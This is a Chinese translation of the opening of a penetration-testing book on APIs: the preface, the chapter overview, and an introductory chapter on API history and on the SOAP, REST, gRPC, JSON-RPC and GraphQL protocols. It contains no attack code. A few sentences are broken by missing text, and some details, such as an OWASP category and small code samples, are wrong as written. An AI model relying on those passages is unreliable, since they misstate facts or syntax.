原文:
annas-archive.org/md5/17aaacc96a6787faa93f98ca311ef149译者:飞龙
前言
欢迎来到渗透测试 API! 应用程序接口(APIs)在我们现代生活中无处不在。几乎不可能使用一个不与其 API 进行交互的网页、嵌入式或移动应用程序。了解其弱点是进行成功入侵测试的基础。这就是本书的核心内容。
你将学习到 API 的各个方面,从简要介绍它们及其历史开始,经过基本和高级攻击,探索不同的代码片段和技术,最后给出关于如何阻止或避免此类攻击的安全建议。因此,本书分为以下几个主要部分:
-
识别和扫描 API 目标。
-
有效攻击 API。
-
学习如何保护 API 免受入侵的建议。
我将带领你完成进行专业 API 渗透测试所必需的所有步骤。这是基于以下几点:
-
作为一名应用程序安全工程师,我积累了多年的经验,负责在批准应用程序公开发布之前审查其各项安全问题。
-
我之前和现在的专业经历集中在软件开发,特别是安全软件方面,例如密钥和密令管理以及身份管理。
最近的新闻突显了 API 安全性日益重要。2022 年底,一家大型社交媒体平台因其 API 漏洞而发生数据泄露,暴露了数百万用户记录。同样,2023 年初,一家金融服务公司也遭遇了重大的安全事件,黑客利用 API 漏洞窃取了敏感的客户数据。这些事件突显了严格进行 API 渗透测试的重要性,以便在恶意攻击者利用漏洞之前,发现并减轻潜在风险。
通过全面理解和解决 API 安全问题,组织可以显著增强抵御潜在网络威胁的能力。你即将开始这段迷人的旅程。
本书适合的人群
尽管渗透测试 API 对于初学者和新手爱好者有一定帮助,但对于中级到高级的渗透测试人员尤其有价值,因为你最好已经具备了关于网络安全的基本概念,如枚举、发现和渗透测试。对一些高级编程语言,如 Python 和 Golang,有一定了解也是推荐的。
话虽如此,本书适合安全工程师、分析师、应用程序拥有者、开发人员、渗透测试人员以及所有希望深入了解 API 和成功测试其健壮性方式的爱好者。
本书涵盖的内容
第一章,理解 API 及其安全格局,介绍了 API 及其组成部分,它们在当代应用程序中的作用,以及用户通常如何与它们互动。理解 API 的格局将帮助你设想潜在的攻击路径。
第二章,设置渗透测试环境,指导你进行各种渗透测试实验室组件的准备和设置。在此过程中需要做出一些重要决定,例如选择工具和框架、开发环境以及一些初步测试。如果你是渗透测试领域的新手,你将有机会了解一些相关术语和重要软件。
第三章,API 侦察与信息收集,是你开始接触 API 的第一章。在有效攻击 API 端点之前,最重要的是列举并识别出有哪些资源可以利用。某些渗透测试完全是黑盒子测试,意味着你完全无法了解 API 端点的工作情况。
第四章,身份验证与授权测试,涵盖了与应用程序中的身份验证(AuthN)和授权(AuthZ)相关的内容,重点介绍了 API 在这方面的工作方式。然后,在了解应用程序如何控制用户访问之后,你将学习如何探索并最终绕过这些控制。
第五章,注入攻击与验证测试,教你如何对 API 进行 SQL 和 NoSQL 注入攻击测试,以及如何通过正确验证用户输入来避免这些攻击。
第六章,错误处理与异常测试,解释了应用程序并不总是按照其创建者设计的方式运行。有时会发生意外的行为,这可能是由用户自己或某些内部错误引起的。你将学习糟糕的异常和错误处理如何暴露出有价值的信息,并可能开启可利用的漏洞。
第七章,拒绝服务与 速率限制测试,讨论了通过拒绝服务(DoS)及其“分布式”变体进行渗透测试。这些是互联网上发生的一些最大规模的攻击。你将理解如何使用 DoS 测试目标并识别速率限制机制,以及如何绕过它们。
第八章,数据暴露与敏感信息泄露,介绍了根据 OWASP 十大 API 安全风险之一的最危险威胁。你将学习如何识别数据暴露和泄露,并利用它们对 API 进行渗透测试。
第九章,API 滥用与业务逻辑测试,解释了了解 API 实现背后的逻辑对于滥用它们是非常有用的。你将了解到有一些策略可以利用它们进行渗透测试,以及避免成为此类威胁的受害者的方法。
第十章,API 的安全编码实践,讨论了每个软件开发人员,无论他们是否在创建 API,都应该了解的主题。你将学习到已建立的安全编码方法和标准,以及一些避免本书中讨论的许多攻击的建议。
要充分利用本书
你需要知道如何使用虚拟机,最好使用 Linux 客户机。
| 本书中涉及的软件/硬件 | 操作系统要求 |
|---|---|
| VirtualBox | Linux |
下载示例代码文件
你可以从 GitHub 下载本书的示例代码文件,链接为 github.com/PacktPublishing/Pentesting-APIs。如果代码有更新,它将被同步到 GitHub 仓库中。
我们的丰富书籍和视频目录中也有其他代码包,访问 github.com/PacktPublishing/ 查看!
使用的约定
本书中使用了多种文本约定。
文本中的代码:表示文本中的代码单词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟网址、用户输入和 Twitter 句柄。举个例子:“在头部内部,可以声明一些属性,例如env:role、env:mustUnderstand和env:relay。”
代码块设置如下:
<env:Header>
<BA:BlockA
env:role="http://mysoap.com/role/A" env:mustUnderstand="true">
...
</BA:BlockA>
<BB:BlockB
env:role="http://mysoap.com/role/B" env:relay="true">
...
</BB:BlockB>
</env:Header>
当我们希望引起你注意代码块中的特定部分时,相关的行或项会以粗体显示:
{"jsonrpc": "2.0", "method": "IsStudent", "params": [100], "id": 1}
{"jsonrpc": "2.0", "result": true, "id": 1}
{"jsonrpc": "2.0", "method": "IsStudent", "params": ["ABC"], "id": 2}
{"jsonrpc": "2.0", "error": {"code": -1, "message": "Invalid enrollment id format"}, "id": 2}
任何命令行输入或输出都以如下方式书写:
$ sudo apt update && sudo apt install curl
粗体:表示新术语、重要单词或你在屏幕上看到的单词。例如,菜单或对话框中的单词以粗体显示。举个例子:“选择下一步,你将被询问希望将其安装在哪个目录。”
提示或重要说明
显示方式如下。
保持联系
我们始终欢迎读者的反馈。
一般反馈:如果你对本书的任何部分有疑问,请通过电子邮件联系我们,邮箱地址是 customercare@packtpub.com,并在邮件主题中注明书名。
勘误:虽然我们已尽力确保内容的准确性,但错误有时难以避免。如果你在本书中发现错误,欢迎向我们报告。请访问 www.packtpub.com/support/errata 并填写表格。
盗版:如果您在互联网上发现任何形式的非法复制作品,我们将非常感激您提供其位置地址或网站名称。请通过版权@packt.com 与我们联系并提供链接。
如果您有兴趣成为作者:如果您在某个领域有专长,并且有意写书或为书籍做贡献,请访问authors.packtpub.com。
分享您的想法
阅读完渗透测试 API后,我们很想听听您的想法!请点击这里直接访问本书的亚马逊评论页面并分享您的反馈。
您的评论对我们和技术社区至关重要,它将帮助我们确保提供优质的内容。
下载本书的免费 PDF 副本
感谢您购买本书!
喜欢随时随地阅读,但又无法将纸质书带到处走吗?
您的电子书购买与所选设备不兼容吗?
别担心,现在购买每本 Packt 书籍时,您都会免费获得该书的 DRM-free PDF 版本。
随时随地在任何设备上阅读。在您最喜爱的技术书籍中直接搜索、复制并粘贴代码到您的应用程序中。
好处还不止这些,您可以独家获取折扣、新闻简报和每天发送到邮箱的精彩免费内容
按照以下简单步骤即可获得这些福利:
- 扫描二维码或访问以下链接
packt.link/free-ebook/978-1-83763-316-6
-
提交您的购买证明
-
就是这样!我们会直接将您的免费 PDF 和其他福利发送到您的邮箱。
第一部分:API 安全简介
本部分将带您进入 API 的世界,了解它们的历史,认识一些 API 类型,并理解保护 API 的重要性。您还将学习一些可能影响 API 的常见漏洞。最后,您将学习如何准备渗透测试实验室环境,获得工具建议并访问本书的代码仓库。
本部分包含以下章节:
-
第一章,了解 API 及其安全环境
-
第二章,设置渗透测试环境
第一章:理解 API 及其安全性
应用程序编程接口(APIs)几乎无处不在,尽管它们的创建早于全球网络的出现。由于 API 在我们日常生活中的重要性,并且为了确保设备和系统之间的可持续通信,建议您从理解 API 是什么,以及它们可能存在的安全问题开始阅读本书。
在本章中,您将了解 API 的基本概念、它们的一些历史以及一些著名的 API 示例。您将了解到 API 的主要组件,以及它们如何相互作用以实现魔力的运作。
您还将了解 API 的不同呈现方式,以及它们的类型和部署中涉及的协议。根据您愿意创建的软件,您会发现设计一个更具体的 API 类型可能更合适。
本章还涵盖了 API 安全性的重要性,讨论了其设计和部署阶段的前提条件。到本章结束时,您将了解一些常见漏洞是如何从安全性差的 API 中产生的,以及它们可能对您的环境造成的影响。
本章将涵盖以下主要主题:
-
什么是 API?
-
API 类型和协议
-
API 安全性的重要性
-
常见的 API 漏洞
什么是 API?
有几个定义。例如,Red Hat 表示,API 是“一套用于构建和集成 应用程序软件的定义和协议。”而Amazon Web Services(AWS)则表示,“API 是使两个软件组件能够使用一套定义和协议相互通信的机制。”当然,API 不仅限于两个软件组件,但这两个定义都包含了这一部分:“定义和协议”。让我们通过与类比世界的比较来创造我们自己的定义。
API 是两个不同部分(代码)之间的桥梁(通信路径),无论它们是否属于同一个城市(同一程序)。通过遵循一套预先建立的交通规则(协议)和约定(定义),车辆(请求和响应)可以在两侧自由流动。有时,API 可能会有速度控制(节流装置),根据需要执行。
就像所有通信方式一样,首先需要建立定义。这条规则不仅限于数字世界。如果你不知道什么是“销售”或“汽车”是一种交通工具,我不能要求你卖给我一辆车。协议同样至关重要。除非你是赠送产品,否则销售始于我支付你我想要的产品的费用,而你将产品交给我。如果需要,还包括找零。
在 API 的定义中,涉及到在通信方之间哪些类型和长度的数据是可接受和允许的。例如,当接收方期望接收一个数字时,请求方不能将数据作为字符串发送。负数也可能对编写不良的 API 造成额外的挑战。在处理数据长度时,适用最小值,尤其是最大值。稍后你将了解,如何阻止大于 API 能处理的块大小的数据传输是非常重要的。
协议是 API 的第二个组成部分。作为网络领域的对应物,它们负责确保独立编写的软件能够以有效的方式进行通信。即使你主要是因为 Web 相关的 API 及其安全漏洞而阅读本书,我也需要告诉你,甚至在你的计算机内部,API 也在操作系统(OS)与 Wi-Fi 卡之间工作,并具有类似于更著名的 Web API 的定义和协议。如果你熟悉传输控制协议/互联网协议(TCP/IP)栈,那么以下的图对你来说并不陌生。TCP/IP 上的通信之所以能够发生,是因为每个小矩形都有自己实现的低层协议,这样就能让同一个网络接口卡(NIC)在不同的操作系统之间使用,并且这些不同的操作系统可以相互通信:
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_01_01.jpg
图 1.1 – 使用 TCP/IP 进行通信
每个 API 都应该有良好的文档,这样任何想使用它的人就不必向其创建者或维护者请求信息。你能想象如果每次新产品发布时,国防高级研究计划局(DARPA)的科学家们收到来自网络接口卡制造商的关于如何开发数据链路层、应该使用哪些数据结构、以及应该考虑哪些数据类型和大小的询问,会是一场怎样的灾难吗?
在编写 API 文档时,至少需要明确数据类型和采用的协议的定义。完善的 API 文档通常还会提供使用示例,以及在发生错误时可能产生的异常,比如数据处理错误或意外行为。
API 的简史
本书中你将阅读大量关于 Web API 的内容。然而,正如你在 TCP/IP 示例中看到的,API 并不是随着 Web 一起诞生的。这个概念的诞生要追溯到几十年前,1951 年,当时三位英国计算机科学家 Maurice Wilkes、David Wheeler 和 Stanley Gill 提出了这一概念,他们当时正在构建 电子延迟储存自动计算机(EDSAC),这是最早的计算机之一。他们的著作《电子数字计算机程序的准备》主要解释了他们所构建的库以及其子程序(如果你需要开发一个程序以在 EDSAC 上运行)。从书名可以看出,书中重点解释了如何使用这台计算机。这本书成为我们有记录的第一本 API 文档。
进入 1960 和 70 年代,计算机的使用逐渐增长,得益于电气和电子电路的改进。计算机的体积也开始缩小,尽管如此,它们仍然占据着一个房间的大小。此时,API 的使用开始与开发者不必担心显示器或其他外设如何工作的需求相关联。我们处于大型主机时代,而新方式与计算机交互的出现,例如终端和打印机,给程序开发者带来了额外的挑战。1975 年,英国数学家和计算机科学家 Cristopher Date 和 Edgar Codd 发表了一篇题为《关系与网络方法:应用程序编程接口的比较》的论文。在这篇论文中,API 被提出应用于数据库,至今这一概念仍在使用。
进入 1980 年代,我们开始看到消费网络的商业探索。1984 年,CompoServe 推出的在线购物服务 电子商城 向其订阅用户提供。用户可以通过该公司的 消费者信息服务 网络从其他商家购买产品。你可能会问,这其中哪里有 API。随着计算机网络的逐步使用,开发者需要让他们的代码更加复杂,并且对远程计算机上存储的代码和库的访问要求开始出现。正是 1981 年,美国计算机科学家 Bruce Nelson 首次提出了 远程过程调用(RPCs)的概念。这个概念非常简单,就是客户端向网络服务器发送请求,服务器处理该请求(执行某些计算)并将结果返回给客户端。因此,RPC 就是我们所知道的 消息传递 机制,通过某个通道(通常是计算机网络)实现不同元素之间通过消息交换的通信。
在 1990 年代,也就是在 API 的概念首次提出超过 40 年后,互联网在全球范围内普及开来(在美国,这一变化发生在近十年前)。互联网此前仅限于研究机构和政府机关使用,而商业化的网络使用在那时变得完全可行。这进一步推动了 API 的采用,它们成为了程序之间交换信息的事实标准。新的网站不断涌现,新的消费产品和服务通过互联网得以商业化,软件之间需要通过标准来进行沟通变得愈加明确。由 Sun Microsystems(现为 Oracle Inc.一部分)创建的编程语言 Java 在这一过程中起到了至关重要的作用。1984 年,Sun Microsystems 的第 21 号员工 John Gage 提出了“网络就是计算机”这一观点。用他自己的话说,“我们将关于互联世界的愿景建立在开放和共享的标准之上。”十一年后,另一位 Sun Microsystems 的员工 James Gosling 创建了 Java 编程语言,随后发展为 Java 2,并成为了重要 API 的基石,这些 API 作为Java 2 企业版(J2EE,现在的Jakarta EE)和Java 2 微型版(J2ME)的一部分发布。
到了 2000 年代,互联网基本上已经巩固下来。不断增加的加入网络的公司数量,以及大量开发者创造的新网页解决方案,要求一种快速有效的方式来建立客户端(当时大多是浏览器)和网页服务器之间的通信路径。2000 年,Roy Fielding 在其博士论文《网络基础软件架构的建筑风格与设计》中提出了一种结构化的方法来允许客户端和服务器在互联网上交换信息。Roy 提出了表现层状态转移(REST),它成为了全球最受欢迎的 API 协议之一。这个年代还见证了云计算的爆炸式增长,无论是私有云还是公有云,大多数实现了 REST。2004 年,Web 2.0 的诞生也标志着互联网使用方式的变化(更加注重以用户为中心),同时像 Facebook、X(前身为 Twitter)、Reddit 等应用也在这一时期诞生。
十年后,在 2010 年代,网络协议更为发展。那是社交媒体和应用程序的时代,每分钟数百万个请求。举个例子,2013 年,每分钟互联网流量中,包括其他流量,461,805 个 Facebook 登录,38,000 张 Instagram 照片上传和 347,000 条推文发送。这也是容器和基于微服务的应用程序迎来最广泛采用的十年。Kubernetes 的发布,作为开源容器编排工具,扩大了互联网动态应用的可能性。正是在 2010 年代,Web 3.0这一术语首次被提出,主要聚焦于区块链技术。API 成为了公司为公众创建和交付产品的基础。
正如 Tears for Fears 1985 年热曲Head Over Heels所说,时间过得“真是快得令人惊讶”。时光飞逝,我们进入了 2020 年代。如今,应用程序不断更新,但我们现在有了更加分散运行的系统。边缘计算和物联网 (IoT) 等概念的出现增加了整个场景的复杂性,并要求 API 进化以适应这些变化。Web 3.0 实际上是在 2021 年才被纳入。现在,我们正在设计和开发围绕 API 的应用程序,而不是像技术早期那样反过来。
API 类型和协议
回到我们的网络世界,这里有一些显著的 API 协议:
-
简单对象访问协议 (SOAP):它允许访问对象,通过 HTTP 保持通信,并基于可扩展标记语言 (XML) 。它简单且提供了一个很好的方式来建立 Web 应用程序之间的通信,因为它是操作系统独立的,且不依赖于技术和编程语言。
-
REST:也许是现在使用的最著名的 Web API 协议,REST 是一种设计 Web 服务的架构风格。因此,遵循这种风格的服务被称为RESTful。REST 操作的预定义集合是无状态的,服务可以访问构造来操作数据的文本表示形式。
-
谷歌远程过程调用 (gRPC):由搜索引擎背后的公司开发,它是另一种基于 HTTP 的架构,恰好是开源的。它应用缓冲区以允许数据在对之间传输。
-
JavaScript 对象表示法 – 远程过程调用 (JSON-RPC):就像 REST 一样,JSON-RPC 也是无状态的,使用对象(像 SOAP 一样),并且在需要更高性能时可以替代 REST。
-
图形查询语言 (GraphQL):由 Meta(前身为 Facebook)创建,旨在成为一种数据库查询语言。GraphQL 是开源的,通过使用 JSON 等简单数据结构,允许复杂的响应。
让我们更深入地分析每个协议。
SOAP
由于 SOAP 是基于对象的,为了简化,通信中的两个对等方必须就他们交换信息时使用的元素达成一致。SOAP 消息由常规的 XML 文件实现,至少包含以下元素:
-
正文:它包含关于调用和响应的信息。
-
信封:这用于将文件标识为 SOAP 消息。
-
故障:它携带有关错误和状态的信息。
-
头部:顾名思义,包含头部信息。
尽管 SOAP 消息必须使用 XML 作为结构,但此类文档不能包含处理指令或文档类型定义(DTDs)。XML 文档的属性是在 DTD 内定义的。SOAP 1.1 规范有三部分:
-
信封,定义了消息的内容、应该处理它的结构,以及是否是强制性的或可选的规格。
-
编码规则,定义了序列化数据类型时使用的机制。
-
RPC表示法,用于指示如何表示远程调用及其响应。
SOAP 1.2 规范只有两个部分:
-
消息信封。
-
数据模型和协议绑定。
从组织结构的角度来看,SOAP 消息由命名空间组成。根元素是 SOAP 信封。Header、Body和最终的Fault元素都包含在其中。所有 SOAP 信封必须指定http://www.w3.org/2003/05/soap-envelope/,encodingStyle属性可能出现在其中,以指示消息内部使用的编码模式。信封声明可能如下所示:
<soap:Envelope
soap:encodingStyle="http://www.w3.org/2003/05/soap-encoding">
SOAP 消息中的头部是可选的,但如果存在,它必须位于消息的开始位置,即在Envelope声明之后。其目的是存储特定于应用程序的数据,例如支付信息或env:role、env:mustUnderstand和env:relay。第一个用于定义与头部块关联的角色。第二个是一个布尔变量,当其值为true时,表示消息的接收者必须处理该头部。如果在处理头部时出现问题,则会生成一个故障元素。最后,env:relay组件仅由中继(中间节点)检查或处理。它是 SOAP 1.2 规范中的新特性。一个包含两个块的示例头部可能如下所示(标签被分成多行以便于阅读):
<env:Header>
<BA:BlockA
env:role="http://mysoap.com/role/A" env:mustUnderstand="true">
...
</BA:BlockA>
<BB:BlockB
env:role="http://mysoap.com/role/B" env:relay="true">
...
</BB:BlockB>
</env:Header>
在这个示例中,A 块部分有一个mustUnderstand子句,其值为true,意味着接收者必须处理它。B 块仅供中间节点解析,因为env:relay属性被设置为true。这两个块都有角色规范。
XML 协议(XMLP)是另一种基于 XML 的消息交换协议,直到 2009 年才停止使用,SOAP 规范 1.2 发布后的两年。XMLP 提出了一个抽象模型,而 SOAP 详细描述了实现该模型的基本原语。SOAP 和 XMLP 都具有绑定的概念,用于确定 XMLP 和/或 SOAP 应连接的其他协议。SOAP 最流行的绑定之一(如果不是最流行的话)就是 HTTP。这意味着 SOAP 消息可以有效地用于通过 HTTP 实现对等通信。
REST
预定义的 REST 操作集是无状态的(与 XMLP 相同),并且服务可以访问构造体来操作数据的文本表示。尽管 SOAP 和 XMLP 具有绑定功能,可以将它们连接到其他应用层协议,甚至传输层(TCP 或 UDP),但 REST 更多与 HTTP 相关(同样是无状态的),因此,操作这些构造体减少了开发人员和系统管理员学习 HTTP 术语的难度。使用 HTTP 时,REST 可以使用协议的所有方法:CONNECT、DELETE、GET、HEAD、OPTIONS、PATCH、POST、PUT 和 TRACE。REST 用于定义 HTTP 1.1 版本的规范。
可能存在中介节点,在 REST 的情况下,这些节点表现为网关,如缓存或代理服务器,甚至是防火墙。这些节点可能为架构提供可扩展性,因为消息内部不保存状态,而且可以在响应中插入一些显式的缓存信息。根据 Roy Fielding 的规范,有六个约束条件决定一个系统是否可以被归类为 RESTful,具体如下:
-
客户端-服务器:尽管可能存在中介节点,但通信通常只发生在两个对等体之间。
-
无状态:RESTful 消息中不存储状态。会话状态必须由客户端管理。由于状态不被控制,这使得架构具备可扩展性。
-
缓存:中介节点可以充当缓存服务器。服务器指向可以缓存的内容,客户端会遵循这一指引。
-
统一接口:通过使用通用性,架构变得更简单,从而提高了交互的可见性。
-
分层系统:通过采用层级结构,每一层仅能访问与其直接交互的其他层,这样可以实现对遗留服务的封装。
-
按需代码:通过从服务器下载和执行额外的代码,可以扩展客户端功能,从而简化客户端设计。
任何基于 REST 的设计的核心是POST,读取操作对应GET,更新操作对应PUT,删除操作对应DELETE(HTTP 动词通常在技术文献中用大写字母表示)。
尽管 REST 和 SOAP 有许多相似之处,但它们在如何进行远程调用(RPC)方面存在一些显著的差异。另一方面,在 REST 中,客户端定位服务器中的资源,并选择对其进行什么操作(修改、删除或获取信息——分别对应UPDATE、DELETE和GET HTTP 方法)。在 SOAP 中,客户端不会直接与资源进行交互。相反,客户端需要调用一个服务,服务再对相关的对象和资源执行所需的操作。
为了绕过这种工作方式,SOAP 利用了一些框架,允许它为客户端提供额外的功能。其中一个框架是getTermRequest,例如string类型,WSDL 在使用 SOAP 进行 Web 服务时提供了更进一步的能力。
我们需要理解为什么 REST 几乎完全取代了 SOAP,成为现代 Web API 领域的主流。比较 REST 和 SOAP 时,支持 REST 的一个关键因素是 SOAP 基于 XML。XML 语言能够生成相当复杂且冗长的文档,这些文档显然需要发送方正确构造,并由接收方解析。解析 XML 文档(或结构)意味着读取它并将其元素转换为一种数据结构,之后应用程序可以进一步处理。最著名的解析器之一叫做文档对象模型(DOM)。使用 DOM 的一个缺点是它消耗大量内存,可能是文档中原始描述的内存大小的几倍。
在计算机科学中,数据序列化是将数据结构中存在的抽象对象(或元素)转换成可以存储在计算机上或在计算机之间传输的格式的过程。反序列化是与此相反的操作。随着文档中使用嵌套,数据序列化变得更加复杂。XML 允许元素嵌套。在 XML 规范中没有正式的限制,这基本上意味着元素可以无限制地嵌套。复杂性可能带来安全威胁。通过解析 XML 文档,应用程序可以将其元素存储在结构化查询语言(SQL)数据库中,将其转换为表、行和列,甚至作为 NoSQL 数据库中的键值(KV)对。当从未知或不可信的源接受序列化对象时,这可能会给应用程序带来不必要的风险。
开放 Web 应用程序安全项目(OWASP)是一个全球性组织,定期发布网络安全最佳实践,包括安全的代码开发,并维护一些著名的安全项目。其中之一是Top Ten,它列出了对 Web 应用程序最具威胁性的十大安全问题。最新版本发布于 2021 年。数据反序列化不安全属于A03-2021 注入类别,这意味着它被认为是应用程序第三大最危险的威胁。
在同一项目中,XML 外部实体(XXE)攻击被归类为对网络安全构成的第五大危险威胁,属于2021 年 A05 安全配置错误组。如果 XML 文档使用了 DTD,它可能会被 XML 解析器错误地解读。DTD 是指定 XML 文档结构的第一种方式,它还可以用来确定 XML 数据应如何存储。
使用 DTD 时,一个易受攻击的 XML 解析器可能会成为拒绝服务(DoS)攻击的受害者,这种攻击被称为XML 炸弹(也称为十亿笑话攻击)。通过指定十个 DTD 实体,每个后续实体是前一个实体的十倍引用,这将导致第一个实体出现十亿次。如前所述,为了在内存中容纳所有实体,XML 解析器需要分配大量内存,最终会崩溃,导致应用程序无法使用。
另一方面,REST API 主要基于 JSON 数据结构。这些是更简单的文档,作为映射组织,利用键值对(KV 对)的概念。JSON 文件不需要特定的解析器;它们支持不同类型的数据,如字符串、布尔值、数字、数组和对象。然而,与 XML 文件相比,JSON 文件通常较小。JSON 也不支持注释。因此,JSON 结构更紧凑,也更容易编写和处理。下面的代码块包含一个 JSON 结构的示例:
{
"config_file": "apache.conf",
"number_of_replicas": 2, "active": true,
"host_names": [
"server1.domain", "server2.domain"
]
}
gRPC
gRPC 的核心思想是让你作为开发者,调用一个远程方法(位于你同事的电脑上或世界另一端),就像它在你自己的代码库中一样。换句话说,客户端(在规范中称为存根)调用一个函数,带有预期的参数,但该函数甚至不在它的代码中,而是在其他地方实现的。为了解决这个问题,你需要遵循 gRPC 调用的服务器端所定义的规范。这些定义包括可接受的数据类型以及方法调用结束后返回的内容。所有的工作都基于创建一个服务,通过这些方法向客户端提供数据。
gRPC 的另一个有趣的特点是它对现代编程语言的支持,这使得你可以在团队中分配开发任务,例如,让 Go 程序员负责服务器,而 Python 程序员则专注于构建客户端。由于该协议是由 Google 创建的,因此 gRPC 服务器也可以托管在公司的公共云上。
gRPC 与之前讨论的其他两种协议之间有一个主要的区别:它使用 protoc 协议缓冲编译器,数据类在代码中创建。数据结构存储在 .proto 扩展名的文本文件中。在 .proto 文件中,你创建一个服务并定义在客户端和服务器之间流动的消息。当你运行 protoc 时,它会创建或更新相应的类。以下代码块展示了一个这样的文件示例:
service MyService {
rpc ProcessFile (FileRequest) returns (ExitCode);
} // Comments are supported.
message FileRequest {
string FileName = 1;
}
message ExitCode {
int code = 1;
}
在前面的代码中,你正在创建一个名为ProcessFile的服务,该服务由应用程序的客户端在一个名为FileRequest的方法中调用,该方法返回ExitCode作为输出。这个方法的实现位于应用程序的服务器部分。显然,根据 gRPC 的定义,客户端和服务器部分可以位于不同的机器上。服务可以有四种不同的类型:
-
一元请求:客户端发送一个请求并等待一个响应。
-
服务器流式传输:客户端发送一个请求,响应作为消息流返回。消息按顺序发送。
-
客户端流式传输:客户端发送一系列消息并等待来自服务器的单一响应。
-
双向流式传输:两方都发送消息序列。
有趣的是,gRPC 也可以作为 protoc 编译器。在 Python 中,编译器作为 Python 包安装器 (PIP) 模块实现。
JSON-RPC
正如我们介绍的,JSON-RPC 是当性能是一个重要因素时,替代 REST 的一个不错选择。该协议的一个特点是,客户端可以发送请求而无需等待服务器的响应。另一个特点是,客户端可以向服务器发送多个请求,服务器返回的响应顺序与原始请求顺序不同。换句话说,服务器的响应是异步跟随的。
当前的规范是 2.0,并且与之前的 1.0 版本不完全兼容。当客户端和服务器没有运行相同版本的协议时,JSON-RPC 2.0 请求和响应对象可能无法正确理解,尽管容易识别 2.0 规范,因为它使用一个名为 jsonrpc 的键,其值为 2.0。所有 JSON 原始数据类型(字符串、数字、布尔值、null)和结构(数组和对象)都得到完全支持。
在发送请求和接收响应时,必须遵守严格的语法(记得我们之前提到过 API 定义吗?)。以下是请求中可能的成员:
-
jsonrpc:当使用该规范时,它包含2.0。 -
method:包含要调用的远程方法名称的字符串。 -
params:可选成员,结构化(可以是数组或对象),包含传递给调用方法的参数。 -
id:可选成员,可以是字符串、数字或 null,包含请求的标识。
同样,也有响应结构的定义。其成员如下:
-
jsonrpc:与请求中的描述相同。 -
result:仅在方法成功调用时存在;其内容由调用的方法提供。 -
error:仅在方法未成功调用时存在;这是一个对象成员,其内容由调用的方法提供。 -
id:与请求中的描述相同,需要携带与请求中指定的相同值。
错误对象有其自己的结构。你可以很容易地看出 REST 和 JSON-RPC 之间的另一个区别。没有 GET、PUT 或 POST 等 HTTP 方法被调用。相反,提供了一个简单的 JSON 结构。另一个区别在于响应格式。REST 可以使用 JSON 或 XML 格式,而 JSON-RPC 仅支持 JSON。在错误处理方面,你刚刚看到 JSON-RPC 有其自己的 error 成员。REST 提供了 HTTP 状态码,例如 200(当提供的数字注册 id 是已注册学生时,IsStudent 会返回 True 或 False。第一个请求成功,而第二个请求会产生错误):
{"jsonrpc": "2.0", "method": "IsStudent", "params": [100], "id": 1}
{"jsonrpc": "2.0", "result": true, "id": 1}
{"jsonrpc": "2.0", "method": "IsStudent", "params": ["ABC"], "id": 2}
{"jsonrpc": "2.0", "error": {"code": -1, "message": "Invalid enrollment id format"}, "id": 2}
GraphQL
正如其名所示,GraphQL 是一种用于查询由 API 提供的数据的语言。等等!这在协议小节里,语言怎么在这里?协议的一般定义可以是“一组规则,必须正确遵循才能成功建立两个或更多对等方之间的通信。” GraphQL 也实现了这一点。
它由 Meta(当时是 Facebook)在 2012 年创建,并于 2015 年作为开源项目发布。后来,2018 年,它开始由 Linux 基金会托管,并由 GraphQL 基金会接管了所有权。一个著名的特点是,GraphQL 只暴露一个端点,方便开发者请求和接收所需的数据。其他 API 协议可能最终会暴露多个端点,以满足提供不同类型数据或数据分布在多个数据库或系统中的需求。
数据格式也类似于 JSON,只是有一些微小的变化。GraphQL 和 REST 之间有着巨大的差异。与其发出请求、获取结果,并在分析结果后调整请求然后提交新请求,GraphQL 允许应用程序交互式地更改请求,直到接收到令人满意的结果。这得到了WebSockets的支持,这是一种允许 HTTP 客户端与服务器之间进行持续双向通信的技术,双方都可以发送和接收数据,任何一方都可以关闭连接。
由于任何一方,客户端或服务器,随时都可以互相传输数据,WebSockets 也非常适合用于发送通知,尤其是从服务器到客户端,当连接仍然保持开放时。这个协议的一个应用场景是货币兑换网站。客户端只需查询一次服务器获取汇率,每当汇率变化时,服务器就会通知客户端新的汇率。GraphQL 也支持查询参数。你可以基于某个标准过滤结果,或者请求服务器进行数据转换或计算,所有操作都在同一个查询中完成。接下来的代码块展示了一个请求的示例:
{
student(id: 100) {
name
grade(average: True)
}
}
上面的代码查询服务器获取一个 id 为 100 的学生。客户端想要学生的姓名和他们的成绩,但只需要平均成绩(通过课程模块计算的平均分),而不是具体成绩(average: True)。一个可能的答案在下面的代码块中。请注意,GraphQL 的响应遵循与请求相同的结构:
{
"data": {
"student" {
"name": "Mauricio Harley"
"grade": 85.2128
}
}
}
GraphQL 的数据结构有一个模式。这样,在设计查询时,开发人员可以提前知道响应中可能返回的数据类型。值得注意的是,考虑到模式已经正确设置,一个查询可能只需少量的努力就能生成一系列项目作为响应。
API 安全性的重要性
即使是你在这里看到的简单代码和模板示例,一个细心的读者也会意识到,从这些简单的数据结构和查询中可能会产生潜在的安全漏洞,因为这些简单的结构和查询可能会用少量的代码行造成大量的资源消耗。安全软件开发并不是一个新的流行词,但随着新威胁和攻击的出现,它逐渐获得了更多的关注。
一些公司更倾向于将更多的时间和资金投入到应急策略中,例如实施一个与业务连续性计划相绑定的事故响应团队。尽管这一点非常重要,我们知道这些团队通常是在事情发生之后才投入使用。他们只能进行损害控制,尽量减少某些入侵对公司资产的影响。其他一些公司则认为他们的系统是安全的,仅仅因为它们运行在公共云上。众所周知,公共云服务商与客户共享安全责任,这种方式被称为共享责任模型:
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_01_02.jpg
图 1.2 – 公共云共享责任模型
与任何正在开发的重大软件一样,API 也有它们的生命周期,并且它们属于一个管道。普遍的看法是,安全性应该尽可能向左迁移,这意味着应该尽早考虑潜在缺陷的安全问题,而不是等到后期再考虑。你需要从 API 设计开始就考虑安全性。然而,对于预算有限或缺乏适当技术支持的公司来说,这可能并不容易。也就是说,并非所有公司在早期阶段都会采取安全对策,因为它们根本做不到。
在开发 API 时,你应该从选择你的 API 将使用的协议开始。考虑这里讨论过的协议,并选择一个你认为能满足应用程序需求和用户期望的协议。查找协议的缺点,并验证是否可以让一个公共云服务商为你实现 API。所有主要的云服务商都有 API 管理或网关服务。它们通常实施安全最佳实践,并与 Web 防火墙集成。
